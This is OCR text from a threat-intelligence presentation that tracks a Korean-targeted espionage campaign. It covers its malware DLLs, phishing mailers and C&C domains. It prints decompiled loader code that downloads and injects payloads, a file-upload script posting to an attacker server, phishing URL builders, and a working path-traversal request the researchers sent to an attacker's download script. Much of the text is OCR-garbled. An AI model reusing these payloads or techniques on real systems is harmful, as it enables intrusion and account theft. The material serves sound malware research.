rdata:1001A9F2 aFreedomD11l db 'Freedom.dl1',0 ; DATA XREF: .rdata:1001A9CCto
rdata:1001A9FE aGraphouse db 'GrapHouse',® ; DATA XREF: .rdata:off_1001A9ECto

= (f) Execute file
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= [CASE 3] File Download vulnerability

= 4) Freedom.dll
= Timestamp : Tue Jan 08 09:02:00 2019

» Export : GrapHouse
= Check Env (32/64)
= 64bit : /bbs/data/font/exts.fmt
» Process Hollwing (explorer.exe)

= [SND]: /register.php?
WORD =com_XXXXXXXX&NOTE=

» [GET]: /bbs/data/ariaK[T]_XXXXXXXX
= [DEL]: /join.php?file=

108/155



"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36,"

"gzip(gfe),gzip(gfe)”);
memset(szObjectName, @, 0x400u);
memset(&0ptional, @, 0x400u);
vl = 0;
do

v2 = bbs_data[v1];
szObjectName[vi++] = vZ;

}

while ( v2 );
v3 = &v23;
while ( *++v3 )

>
strcpy(v3, "/register.php?WORD=com_");
v5 = strlen(Buffer) + 1;
ve = &v23;
while ( *++v6 )

qmemcpy(v6, Buffer, v5);
v8 = &v23;
while ( *++v8 )

strcpy(v8, "&NOTE=");

= Process

GET /bbs/data/register.php?
WORD=com_080027F7ABAB&NOTE=QnVpbGQgTnVtYmVyIDogNzYwMSwgTWFqb3IgdmVyc21l
vbiA6IDYsSIE1pbm9yIHZ1cnNpb24g0iAxLCBCaXQgOiAwLjAK HTTP/1.1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/
537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/
537.36,g9zip(gfe),gzip(gfe)

Host: ddlove.kr

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 14 Mar 2019 01:29:24 GMT
Server: Apache/2.2.3 (Cent0S)
X-Powered-By: PHP/5.1.6
Content-Length: 160

Connection: close

Content-Type: text/html; charset=UTF-8

/users/ddlove/www/bbs/data/hybrid/com_080027F7ABAB. txt2019-03-14
10:29:24,211.52.91.23,Build Number : 7601, Major version : 6, Minor
version : 1, Bit : 0.0

Hollwing (explorer.exe)

= [SND]: /register.php?

WORD =com_XXXXXXXX&NOTE=

» [GET]: /bbs/data/ariaK[T]_XXXXXXXX
= [DEL]: /join.php?file=

&€ 5 C O F9o 28| ddlove.kr/bbs/data/hybrid/com_080027F7ABAB.txt

2019-03-14 10:29:24 , eepepepaeepps  Build Number : 7601, Major version : 6, Minor version : 1, Bit : 0.0



SUB_4_10001DCO("Qmgvswsjx ~Iixjsrxw", &v20); // Microsoft\\Extfonts .
SUB_4_10001DCO("evme0", &v19); // ariaK V""US
SHGetFolderPathA(@, 26, 0, @, &v26);

strcat_s(&v26, 0x104u, "\\");
strcat_s(&v26, 0x104u, &v20);
CreateDirectoryA(&v26, 0);

v8 = rand();

vsprintf_100021C0(&v21, "%s\\%s%d.dll", &v26, &v19, v8 % 1000);
v9 = 0;

do

{

v10 = *(&v28 + vO++ - 1328);
*(&v28 + v9 - 801) = v10;
}
while ( v10 );
v11l = C2_Download_10001EAQ(&v22, &v25, &v23);
GetLastError();
if ( vil)
return 0;
memset (&v18, 0, 0x104u);
SUB_4_10001DCO("vyrhpp762i}i", &v18); // rundl1132.exe
memset (&v16, 0, 0x208u);
memset(&v17, 0, 0x104u);
GetSystemDirectoryA(&v1l7, 0x104u);
vsprintf_10002240(&v16, 0x208u, "%s\\%s \"%s\",%s", &v17, &v18, &v23, "GrapeHouse");
memset(&v14, @, 0x44u);

» [GET]: /bbs/data/ariaK[T]_XXXXXXXX
= [DEL]: /join.php?file=
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BULLETIN

Geo Netherlands (NL) —
O [CASE 3] File Download vuln AS AS47583 - AS-HOSTINGER, LT

m EML — HWP Attachment Registrar RIPENCC

Route 185.224.136.0/22
» Distribution Server : member-authorize[.Jcom

=]
oM
ol

to
El
I

=8k [Ministry of Foreign Affairs]

Japan-related daily trends

Rl

rr o

o ne
0% r
n=

LUt MEur 17} (15KB)

v | [y 20190312 Y2 A LLSEH(2).hwplI5KB)

http://member-authorize.com/security/
downloads/download.php?
fileName=20190312%20%EC%9D%BC%EB%B3
SS0h11t 0| A % IL|CF. %B8%20%EA%BA4%80%EB%A0%A8%20%EC%9
2 22C2|L| 2 R OHRIL|CHA D%BC%EC%9D%BC%EB%8F%99%ED%96%A5 (
%EC%99%84).hwp
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= [CASE 3] File Download vulnerability
= Directory Listing (OPSEC FAIL — CASE #01)

= /security/downloads

&€ -5 C ® =2 2% | member-authorize.com/security/downloads/

Index of /security/downloads

e Parent Directory
e 20190312 £ = ztad VI =2H(Rh.hwp
e download.php  20190312_Japan-related daily trends(FN).hwp
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= [CASE 3] File Download vulnerability

* Directory Listing (OPSEC FAIL — CASE #01)
» /security/downloads/download.php

&€ -5 C ® =2 2% | member-authorize.com/security/downloads/

Index of /security/downloads

e Parent Directory
e 20190312 £ = ztad VI =2H(Rh.hwp
e download.php  20190312_Japan-related daily trends(FN).hwp

[ IO R
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= Like Sherlock Holmes ... again
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Tracking Malware & Monitoring c&cVIrus

= [CASE 3] File Download vulnerability

* Try to File download

» /security/downloads/download.php
?fileName=dowonload.php

& o5 C @O =2 2% | member-authorize.com/security/downloads/

Index of /security/downloads

e Parent Directory
e 20190312 £ = ztad VI =2H(Rh.hwp
e download.php 20190312 Japan-related daily trends(FN).hwp

[ R R



= [CASE 3] File Download vulnerability

<?php
25 $fileName = empty($_GET["fileName"]) ? "" : $_GET["fileName"];

2 function mb_basename($path) { return end(explode('/', $path)); }

28 function utf2euc($str) { return iconv("UTF-8","cp949//IGNORE", $str); }

2C function is_ie() {
if('isset($_SERVER['HTTP_USER_AGENT']))return false;
if(strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false) return true;
if(strpos($_SERVER['HTTP_USER_AGENT'], 'Windows NT 6.1') !== false) return true;
return false;

$filepath "./'.$fileName;
$filesize = filesize($filepath);
$filename = mb_basename($filepath);

if( is_ie() ) $filename = utf2euc($filename);

11 header("Pragma: public");

12 header("Expires: 0");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"$filename\"");
header("Content-Transfer-Encoding: binary");

4 header("Content-Length: $filesize");
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= [CASE 3] File Download vulnerability

= Directory Listing + File download
«./.].].]..]../[../home/u385698457/public_html/

Request

J RawT Params T Headers T Hex ]

GET
/security/downloads/download.php?fileName=../../../../ ./ /] /] /.
Soei/oo/oeo/ .. /home/u385698457/public_html/index.php HTTP/1l.1

Host: member-authorize.com

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14 2)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121

Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/ap
ng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language:

ko-KR,k0;9=0.9,en-US;g=0.8,en;qg=0.7,zh-TW;g=0.6,2zh;g=0.5

Connection: close
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= [CASE 3] File Download vulnerability

= Directory Listing + File download
S A ]../home/u385698457/public_html/

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex
GET A HTTP/1.1 200 OK
/security/downloads/download.php?fileName=../../../../../../../../../../. - Server: openresty
/oo/../../../home/u385698457/public_html/index.php HTTP/1.1 Date: Wed, 13 Mar 2019 23:40:53 GMT
Host: member-authorize.com Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1 Content-Length: 9882
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_2) Connection: close
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 X-Powered-By: PHP/7.0.33
Safari/537.36 Pragma: public
Accept: Expires: 0
text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,image/ap Content-Disposition: attachment; filename="index.php"
ng,*/*;q=0.8 Content-Transfer-Encoding: binary

Accept-Encoding: gzip, deflate
Accept-Language:
ko-KR,ko;g=0.9,en-US;g=0.8,en;9g=0.7,2zh-TW;g=0.6,2zh;g=0.5 <?php

Connection: close //////////{//ﬂ//1///////////////////////////////////////////
// 1. QB FH|CH
LI11777777777777777777777777777777777777777771177711771117111777

// gzip ¥F A8
ob_start("ob_gzhandler");
// curl_init &7 FOE[OIQUX| poH HE
if (‘functloniexlsts( curlilnlt ))
die ("This proxy requires PHP's cURL extension. Please install/enable it on your server and try again.");

// getallheaders &7t HOIE|0{UX| oo Ho|

if (!function_exists("getallheaders")) {
function getallheaders() {
$result = array();
foreach($_SERVER as $key => $value) {
if (substr(skey, 0, 5) == "HTTP_") {
$key = str_ireplace(" ", "-", ucwords(strtolower(str_ireplace("_", " ", substr($key, 5)))));
$result[$key] = s$value;
} else
$result[$key] = $value;
}
return s$result;
}
}
// TZEA 20| Ho|
define("PROXY PREFIX", "http" . (isset($_SERVER['HTTPS']) ? "s" : "") . "://" . $_SERVER["SERVER_NAME"]
($_SERVER[ "SERVER_PORT"] != 80 ? ":" . $ SERVER["SERVER_PORT"] : "") . $_ SERVER["SCRIPT NAME"] . "/");

// ZEA UE T g4
functlon proxlfyc S($css, s$baseURL) {

<T
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Irus

BULLETIN

= [CASE 3] File Download vulnerability

= Directory Listing + File download
S A ]../home/u385698457/public_html/

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

GET
/security/downloads/download.php?fileName=../../../../../../../../../../.
/oo/../../../home/u385698457/public_html/index.php HTTP/1.1

Host: member-authorize.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh;
AppleWebKit/537.36 (KHTML,
Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,image/ap
ng,*/*;q=0.8
Accept-Encoding:
Accept-Language:
ko-KR,ko;g=0.9,en-US;g=0
Connection: close

Intel Mac O0S X 10_14_2)
like Gecko) Chrome/72.0.3626.121

gzip, deflate

T

¥

HTTP/1.1 200 OK

Server: openresty

Date: Wed, 13 Mar 2019 23:40:53 GMT
Content-Type: application/octet-stream
Content-Length: 9882

Connection: close

X-Powered-By: PHP/7.0.33

Pragma: public

Expires: 0

Content-Disposition: attachment;
Content-Transfer-Encoding: binary

filename="index.php"

<?php
////////////////////////////////////////////////////////////
// 1. st FH|CH
////////////////////////////////////////////////////////////
// gzip ¥F A8
ob_start("ob_gzhandler");

// curl_init 47t FOA=|OUX| gfoH HE|
if (!function_exists("curl_init"))
die ("This proxy requires PHP's cURL extension.

// getallheaders &7t HOE|0QUX| YW Ho|
if (!function_exists("getallheaders")) {
function getallheaders() {
$result = array();
foreach($_SERVER as $key => $value) {

if (substr(skey, 0, 5) == "HTTP_") {
$key = str_ireplace(" ", "-", ucwords(strtolower(str_ireplace("_", " ", substr($key, 5)))));
$result[$key] = $value;
} else {
$result[$key] = $value;
}
return $result;
}
}
// ZEA oH2o| Ho|
define("PROXY PREFIX", "http" . (isset($_SERVER['HTTPS']) 2 "s" : "") . "://" $_SERVER[ "SERVER_NAME" ]
($_SERVER[ "SERVER_PORT"] != 80 ? ":" . $ SERVER["SERVER_PORT"] : "") $_SERVER[ "SCRIPT_NAME"] VAR

/7 EEAC| U8 T g2

function proxifyCSS($css, $baseURL) {

Please install/enable it on your server and try again."

)i



Response

Tracking Malwa_fre e [

HTTP/1.1 200 OK

Server: openresty

2=0| : HIO|H] ZO{AIH

https://ko.dict.naver.com/small_detail.nhn?docid=25433000 v

HAL [5810]] <R10> 'FHFAHIMYOE PtEE= FALE, 0{20|Lt EHo{2] 2Hol 20| MER THo{7t &[A| 5H= E)'el 5§
ot0]. EX: EEIJO{CHAIA ...

<?php

m / / / / / / J LI 11 0000 10011011010011010010110110111111111111
[ X ] [ X J [ X J [ X J [ X ) [ X ] [ X J // 1. nég‘s_!, %HIE”'
JIT111T1117777077110771107771017110771117771111717177111111111

// gzip ¥F AIE
ob_start("ob_gzhandler");

// curl_init 57t YoYE|G/UX|| ST EHE
] l- if (!function_exists( curl init"))
anguages die ("This proxy requires PHP's cURL extension. Please install/enable

. // getallheaders &7t Hols|0iUx|| gos Hol
used only In if (!function exists("getallheaders")) ({
function getallheaders() {
$result = array();
N h K foreach($_ SERVER as $key => $value) {
Ort Orea if (substr($key, 0, 5) == "HTTP_ ") {
$key = str_ireplace(" ", "-", ucwords(strtolower(str_ireplace("
$Sresult[S$key] = $value;
} else {
Sresult[$key] = $value;

}
}
return S$result;
}

}
/7 =2zl |ye
define("PROXY PREFIX", "http" . (isset($_SERVER['HTTPS']) 2 "s" : "")
($_SERVER["SERVER_PORT"] '= 80 2 ":" . $_SERVER["SERVER_PORT"] : "")

/1 EEA2 U8 [mE] a4
function proxifyCSS($css, $baseURL) {
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AZEQO] AlC|0l= CSat 22 T2 O-S0| SHAULCE
= [CASE 3] File Downloa. .ccuexasmie wiss
SHARAEZRIY 2al"

. Directory Listing +

- CD/DVD M7| Z2 124 "2t

/../../../ J../../home/- Ex2EE7| HI=7|"

224 // SIEPloiMe| =HO| CHA| ZEAE SHSI=E SHUES 3 - ZME|Q £E0| "H4"

225 // html IHd

226 if (stripos($contentType, "text/html") !== false) {- EtA(THA)LELAT| "HIALA"
227

228 // Q3HE EFS} - H|EAMF(QLE|HIO|2A) "SI (F A"
229 $responseBody = mb_convert_encoding($responseBody

230 - FAE U BB

231 // DOM Iid

232 $doc = new DomDocument(); - BEMAEHA A

233 @$doc->1loadHTML($responseBody);

234 $xpath = new DOMXPath($doc); - shAtA 2| =20 "S-

235

236 // formQ| action2 #H - oM ET 2 2 "Of e

237 foreach ($xpath->query("//form"™) as $form) {

238 $action = $form->getAttribute("action"); - disiedaicta 2 T2 "ok
239

240 // form O] action £ mz Holstx| %2 ZL 1 action - iR 0ISE7 |&A|AtEHd "HEI
241 // 13X %42 AR action £ Hof FA=Z HRELCL

242 $action = empty($action) ? $url : rel2abs($acti- LfLATMHZAAIZZ 024 "FH"

- HEQABIZ|ATR I "BHs”



Tracking Malware & Monitoring C&CVi

= [CASE 3] File Download vulnerability

= Directory Listing + File download

231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246

w /.J.]. . ]..]../home/u385698457/public_html/
// DOM THE rstar —
$doc = new DomDocument(); =c
@$doc->1loadHTML($responseBody) . _ 0 .
$xpath = new DOMXPath($doc); = HoIA x| (home page)
// formel actiong #¥H
foreach ($xpath->query("//form™) as $form) {
$action = $form->getAttribute("action");

// form O| action & W=z FoIstX| %2 Z? 1 action 2 M| Xtxlo|ct.
// 13X %2 AL action 2 EHoi FAZ HRECH
$action = empty($action) ? $url : rel2abs($action, $url);

// action O] CiA| ZEEAIE 7[2)7|=5 HFSHCL.
$form->setAttribute("action", PROXY_PREFIX . $action);
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= [CASE 3] File Download vulnerability

= Directory Listing + File download

= github.com/ostoc/http2_php/miniProxy.php

-84

// 8t URL 2 Hri URL-2- gt

function rel2abs($rel, $base) {
if (empty($rel)) $rel = ".";

// olo| Hoi URL 2 Eoils HR-

if+ (parse_url($rel, PHP_URL_SCHEME)
~return-$rel;x

.)n

=if- (strpos($rel,:"//") ===:0)- {K

--extract(parse_url($base)); ;H

1= "myeg

-return-$scheme-.-":"- . -$rel;H
.)u
<if- ($rel[0]-==-"#"-||-$rel[0]-==-"2")X
sreturn-$base-.:$rel;x
r-extract(parse_url($base));-//-$base- & IIE5I0{. I2H=. §scheme, - $host, - $path- S- M. 1
--$path-=-isset($path)-?-preg_replace("#/ [ /]1*$#", -"" $path) z-"/";«//-path- WI1 C[2E{2|7t- of:
=iif ($rel[0]-==-”/")-$path-=-””:-//-re1-0|-$3\5-7fﬂ|7|é- 2 pathS- AABICt &
$port = isset($port) && $port !=80 ? ":" . $port : "";
$auth = "";
if (isset($user)) {
$auth = $user;
if (isset($pass)) {
$auth .= ":" . $pass;
}
$auth .= "@";
}
$abs = "$auth$host$path$port/$rel"; // ZcH URL
for ($n = 1; $n > 0; $abs = preg_replace(array ("#(/\.?2/)#", "#/ (2N \.)[M1+/\N\N/#Y), "/
return $scheme . "://" . $abs; //Absolute URL is ready.

138
{3139
| 140

141

142
{343
144
145

148
149
150
151
152
153
154
155
156

{157
158
159
160
161

//Converts relative URLs-to absolute-ones,-given-a base URL.
//Modified-version-of-code-found-at-http://nashruddin.com/PHP_Script_for_Converting_Relativ
function rel2abs($rel, $base) {

if (empty($rel)) $rel = ".";

»if-(parse_url($rel,-PHP_URL_SCHEME):!=-""-||-strpos($rel,-"//")-===:0)-return-$rel;-//Ret
if: ($rel[0]-==-"#"-||-$rel[0] == "?") return-$base.$rel; //Queries and anchors
extract(parse_url($base));-//Parse-base-URL-and-convert-to-local variables:-$scheme, $hos

-$path-=-isset($path)-?-preg_replace('#/[~/]*$#',-"",-$path)-:-"/";-//Remove-non-directory

~if- ($rel[0]-==-"'/"')-$path-=-"";-//Destroy-path-if-relative-url-points-to-root

$port = isset($port) && $port !=80 ? ":"
$auth = "";
if (isset($user)) {
$auth = S$user;
if (isset($pass)) {
$auth .= ":" . $pass;

. $port : "";

}

$auth .=
}
$abs = "$auth$host$port$path/$rel”; //Dirty absolute URL
for ($n = 1; $n > 0; $abs = preg_replace(array("#(/\.?/)#",
return $scheme . "://" . $abs; //Absolute URL is ready.

"

"#OCINND) [N TR\ L/#YY
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= [CASE 3] File Download vulnerability

= Directory Listing + File download

= /security/mailer

& — C  ® 9 28 member-authorize.com/security/mailer/

Index of /security/mailer

e Parent Directory

e daum/ DAUM: Major portal website in korea

e kinu/ KINU: Korea Institue for National Unification
o naver/ NAVER: Major portal website in korea

o org/

124/155
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= [CASE 3] File Download vulnerability

= Directory Listing + File download

= /security/mailer

“ C O F9 28 member-authorize.com/security/mailer/

Index of /security/mailer

— C ® F9 28 | member-authorize.com/security/mailer/kinufaccount_authentication/

Index of /security/mailer/kinu/account_authentication

o Parent Directory
e mail.php
o mail_ok.php

125/155
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= [CASE 3] File Download vulnerability

= Directory Listing + File download

= /security/mailer

< C ® Z=°| 23t | member-authorize.com/security/mailer/kinu/account_authentication/mail.php
SUXO|E  [BUx0IE

SOIAHO| 0| & | & Al Ato| o

SRS [FaxoE

U RFO| O & |=2ixtol o

H= X2
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= [CASE 3] File Download vulnerability

= Directory Listing + File download

= /security/mailer

— C @ Z=°| 2% | member-authorize.com/secu
SAURIOIE  [sAROIE
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BULLETIN

= [CASE 3] File Download vulnerability

= Directory Listing + File download

= /security/mailer

=]
oM
ol

[2lag

=8k [Ministry of Foreign Affairs]
Japan-related daily trends

ne

il
0% r

Rl

rr o

ne

LUt MEur 17} (15KB)

v | [y 20190312 Y2 A LLSEH(2).hwplI5KB)

http://member-authorize.com/security/
downloads/download.php?

fileName=20190312%20%EC%9D%BC%EB%B3
S=0} 17t 0|37 917 a Lick

%B8%20%EA%BA%B0%EB%A0%A8%20%EC%9
X2 28 Ca(L| 949 A THIZILICH D%BC%EC%ID%BC%EB%8F%99%ED%96%A5
%EC%99%84).hwp
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= [CASE 3] File Download vulnerability

= Directory Listing + File download

= 1) mail.php

DOCTYPE html
html lang="ja"

head
meta charset="utf-8"
META http-equiv="Content-Language'" CONTENT="ja"
meta name="product" content="Metro UI CSS Framework"
meta name="description" content="Time-Space css framework"
meta name="author" content="Time-Space"
meta name="keywords" content="js, css, metro, framework, windows 8, metro ui"
head
body

form method="post" name="frm" id="frm" action="mail_ok.php" enctype="multipart/form-data"
tab le o
tr mail_ok.php
td>&4IXt0|E</td
td
input type="text" name="from_name" id="from_name" value="" placeholder="&4IX}0|E" size="35"
td




= [CASE 3] File Download vulnerability

= Directory Listing + File download

= 2) mail_ok.php - attachFileName

$attachFileName = "20190312 Y= & AA=SSH(LH).hwp'l;
$attachfileSize = "15KB";
$content = "SHO0 1 0|dF ALRULICE. <br>

Xl’E /\l:]EE_ILI o{_Erl_ 7(}1 |.E_|»L|I:|,/\/\ll;

[ |

<table cellspacing="0" cellpadding="0" border="0" style="width:100%">
<tbody>
<tr>
<td align="left" width="17" height="25" valign="top">
<a href:1http://member—authorize.com/security/downloads/download.php?fileName:'.$attachFileName.
</td>
<td align="1left" width="7"></td>
<td align="T1left" width="17" height="25" valign="top">
<img src="http://maill.daumcdn.net/mail_static/mint/img/big/ico_hwp.png" width="17" height="17" b
</td>
<td align="1left" width="7"></td>
<td align="1left" valign="top" style="font-size:13px; font-family:%2 1= ,6Malgun Gothic,=&,dotum,sans—:

</tr>
</tbody>
</table>



Tracking Malware & Monitoring c&cVIrus

= [CASE 3] File Download vulnerability

= Directory Listing + File download

= 2) mail_ok.php - Phishing (Previous)

$dataServer "nttp://mail-safety—-center.pe.hu/naver/MyAccount}';

$dataServer "Ihttp://naver-customer—-center.16mb.com/MyAccount|';

$dataServer ‘Inttp://nid-mail.hol.es/user2/help’;

$passwdForMyInfo = $dataServer.'/?m=viewInputPasswdForMyInfo&menu=security&token_help="'.urlencode
(base64_encode($userId));
$changePasswd = $dataServer.
W

$loginIdForMyInfo = $dataServer.'/?m=viewInputLoginIdForMyInfo&menu=security&token_help="'.urlencode
(base64_encode($userId));

$myInfo = $dataServer.'/?m=myInfo&menu=security&token_help=".urlencode(base64_encode($userId));
$viewSecurity = $dataServer.'/?m=viewSecurity&menu=security&token_help="'.urlencode(base64_encode($userld));

?m=viewChangePasswd&menu=security&token_help=[.urlencode(base64_encode($userId)

$loginEnv = $dataServer.'/?m=loginEnv&menu=security&token_help='.urlencode(base64_encode($userld));

$readingCheck = $dataServer.'/feading.php?uid="'.urlencode($userld);
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Relationships

» Like Sherlock Holmes ...

73 '
’ »‘e
)
:'.9
"
Search ;
+ High Tide
y F RIverside




ALWAYS RETURNS

T0O THE SCENE OF
THE CRIME




Relationships Vi

= Between Toolsets and C&C server

= Compromised website in South Korea
= Cooperation with the police and investigation agency

= Respond about C&C server

]
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Relationships

Mailer (shape)

Mailer (core)

Beaconer
Phisher
Logger

Malicious HWP

Camouflaged HWP

Script

Info Stealer

Mailer

Mailer

Web-Beacon

Account Stealer
Phishing
Logging
Phishing
Dropper

Sprear-Phishing
Dropper

Sprear-Phishing

Downloader
Logging

C&C / DLL/ FTP
Downloader

Logging

Contents

Mailer (just shape)

Mailer (actual function)
1) Attachment malware
2) Link to phishing page for account takeover

Beacon to check whether mail is being viewed

Phishing Toolkit(lod) Phishing Page
for Account Steal

Logging for Phishing Target Information
Malicious HWP Documets

Camouflaged HWP Documents (Ex. sfx, exe ...)

Download additional malware and logging
(Ex. *.vbs, *.wsf, *jse, *.ps1)

Steal Information of Infected Target
and Download additional malware
(Ex. Some case using FTP)



Relationships

Viru

= Between Toolsets and C&C server

Domain

gyjmc[.Jlcom

member-
authorize[.]Jcom

ddlovel[.lkr

military[.]co.kr

suppcrt-
seourity[.]esy.es

primary-help[.]lesy.es

nid-mail[.]pe.hu

user-protect-
center[.]pe.hu

nid-protect-
team|[.]pe.hu

Mailer

i

<

O 8 O 0O &9

[

Beaconer

<

B 0O 064

[l

Pisher

<

<

OO 0O O0a

[

Logger

<

I I I I [ I [ <

[

Malicious
HWP

O

<

OO0 8 0O@&

[

Camouflaged
HWP

[l

B OO0 O

[

[

Sc

(< I < [ < [ <

[ B

<

ript

Info
Stealer

K

(< I < [ < [ <

< <

<

Related C&C

daum-setting[.]hol.es
member-authorize[.]Jcom
snu-mail-ac-kr[.]esy.es

uefa2018[.]000webhostapp.com

ddlove[.]kr  gyjmc[.]Jcom

mail-kinu.hol[.]Jes  webrnail-kinu[.]hol.es

member-authorize[.]Jcom  military[.]co.kr

ddlove[.lkr  suppcrt-seourity[.]esy.es

military[.]Jco.kr

nid-mail[.]pe.hu
primary-help[.]esy.es
nid-management-team[.]890m.com

nid-protect-team[.]pe.hu

user-daum-center[.]pe.hu

nid-management-team[.]890m.com

user-daum-center[.]pe.hu

o U I Sy i e S| o ] S,



Relationships

Virus

BULLE

= Between Toolsets and C&C server

Domain

nid-protect-
team|[.]pe.hu

0eks39402[.1890m.com

nid-management-
team[.1890m.com

naiei-aldiel[.]16mb.com

vkexvkweo[.196.1t

user-daum-
center[.]pe.hu

Mailer

Beaconer

Pisher

Logger

Malicious
HWP

O

Camouflaged
HWP

[

Sc

ript

Info
Stea

[l

Related C&C
ler

nid-management-team[.]890m.com
user-daum-center[.]pe.hu

user-protect-center[.]pe.hu
naiei-aldiel[.]16mb.com  vkcxvkweol[.]96.It

nid-protect-team|[.]pe.hu
user-daum-center[.]pe.hu

user-protect-center[.]pe.hu

daum-account-login[.]esy.es
0eks39402[.1890m.com

vkexvkweo[.]196.1t

naiei-aldiel[.]16mb.com

0eks39402[.1890m.com

member-daum-regist[.]hol.es
member-view-center[.]esy.es
nid-management-team[.]890m.com
nid-protect-team|[.]Jpe.hu  sariwon[.]co.kr
user-manage-center[.]hol.es

user-protect-center[.]pe.hu



Relationships

Virus

BULLE

» Between Toolsets and C&C server

Domain

sariwon[.]co.kr

Mailer

Beaconer

Pisher

Logger

Malicious
HWP

Camouflaged
HWP

Sc

Info

ript
. Stealer

Related C&C

accounting-microsofft[.]epizy.com
csdaum-help[.]esy.es
daum-account-login[.]esy.es
daum-account-signin[.]Jpe.hu
daum-login-protect[.]hol.es
daum-setting[.]hol.es  daumlogin[.]esy.es
mail-customer-safety-center[.]hol.es
mail-naver-protect[.]hol.es
mail.naver[.Jcomuf.com
master-daum-help[.]esy.es
member-view-center[.]esy.es
naver-password[.]esy.es
naver-relogin-security[.]96.It
naver-security-mail[.]96.It
naverhelp[.]esy.es  naverkoreal[.lesy.es
naverlogin[.]Jesy.es nhfoods|[.]Jco.kr
protect-yahhoo-team[.]J000webhostapp.com
security-mail-daum[.]000webhostapp.com

user-daum-center[.]pe.hu



Relationships Vi

» Between Toolsets and C&C server

= Some of the results of analyzing

= gyjmc[.Jcom (KR) = member-authorize[.]Jcom (HOSTINGER)
— ddlovkel[.]Jkr (KR) — military[.]co.kr (KR) < suppcrt-seourity[.]esy.es
(HOSTINGER) = % 2-e _

5 <
a

Full ver. :

\ . http://bit.ly/

N > VB2019_Kimsuky_
E o Maltego
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Recent Trends

= [CASE 3] File Download vulnerability
= Directory Listing (OPSEC FAIL — CASE #01)

= /security/downloads

&€ -5 C @O =2 2% | member-authorize.com/security/downloads/

Index of /security/downloads

e Parent Directory
e 20190312 £ = ztad VI =2H(Rh.hwp
e download.php 20190312 Japan-related daily trends(FN).hwp

1T/ 1 U



Recent Trends V'

= [CASE 3] File Download vulnerability
= Directory Listing (OPSEC FAIL — CASE #01)

-m Index of /security/downloads X ‘ I

é

C ® #2928 member-authorize.com/security/downloads/

Index of /security/downloads

Parent Directory

0.55t ttA2| OJAIY SAL FM(FBE).zip
.55t T2 OJALY 9rAl 2M(F[EE).zip
20190312 ¥= 2t AHSSHRH.hwp
download.php

jangya/

5351 Ch{a| OJAKY SHAL 2M(EEE) 7ip
S5t Ch{a] OjANY SHAL 2 M(E|EE) enc.zip
£t .zip

X stAL zip

ﬂlAl[]»"oEl_zip_ 55



Recent Trends V'

= [CASE 3] File Download vulnerability

= Directory Listing : New Malware
* F:WPC_ManagerWUtopia_vO0.1Wbin

WAppleSeed.pdb
.text:10001000 ; Alignment : default
.text:10001000 ; PDB File Name : F:\PC_Manager\Utopia_v@.1\bin\AppleSeed.pdb
.text:10001000 ; 0S type : MS Windows

.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:

10035988 ; Export Ordinals Table for AppleSeed.dll

10035988 ;

10035988 word_10035988 dw 1, 0 ; DATA XREF: .rdata:10035974t0
1003598C aAppleseedDll db 'AppleSeed.dll’,® ; DATA XREF: .rdata:1003595Cto0

1003599A aF6a90e0e7056f1 db 'f6a90e@e7056f1le6a5c1d6@fe8fed4971’,0
1003599A 5 DATA XREF: .rdata:off_1003598010
100359BB aDllinstall db 'DllInstall’,o 5 DATA XREF: .rdata:off_1003598010
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Recent Trends V

= [CASE 1-1] Directory Listing - HWP Malware

= HanyangUpload_script.dll - GetName (2018.07.13)
= 3) C&C : www.military[.]Jco.kr (211.202.2[.]51, KR)

<script language=
try
{
var strPath = WScript.Arguments.Named.Item("filepath");

HttpUpload(strPath, "http://www.military.co.kr/1990/scriptPhpServer.php");

//WScript.Echo(sResults);
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Recent Trends Vi

= [CASE 1-1] Directory Listing - HWP Malware

= Another Logs (2019.07.) => |V [¢RF:Y;
C&C : www.military[.]Jco.kr (211.202.2[.]151, KR)

35359 2019-07-05 10-37 (11770274 Bytes) 7.4 B4@slo] C(MIE draft (1).pptx
22222 2019-07-01 22-47 (11770274 Bytes) 7.4 8glslo| CCMIIE draft.pptx

ggggg 2019-02-02 18-38 (63377 Bytes) 8. Y= KIZOINQIRIS| SlofE MY Y HExlE
ggggg 2019-02-12 22-52 (175578 Bytes) 8.HWAYME QHXE2|7|27EL pdf

35366

Found 11 occurrences of 'gt+¢'.
Line 35359 2019-07-05 10-37 (11770274 Bytes) 7.4 8t+§3]2| CCMIE draft (1).pptx
Line 35361 2019-07-01 22-47 (11770274 Bytes) 7.4 &t+235|2] CCMIIE draft.pptx
Line 39995 2016-01-16 18-33 (26747639 Bytes) 8t AFSHR|AH0|LH(201512).pptx
Line 39997 | 2016-02-13 15-25 (140337 Bytes) 84-¥_GI &0 _2016.pdf

« | Line 41345 2016-01-06 02-29 (3617.. &% = ‘atsto| 2 2|F| Ol0|EL _ §t+RAE27. pdf
Line 42521 2010-11-19 21-48 (2222741 Bytes) &+ X2 0K Reading Materials.zip
Line 46497 2016-01-16 18-33 (26747639 Bytes) &t+# fFaH&|MIO0|LH(201512).pptx
Line 48447 2016-08-1112-03 (50379 Bytes) &t slix| QtH 4 HIt X pdf
Llne 48815 2018-11-05 10-54 (2850457 Bytes) 7.Z|SE_gt+# . pdf

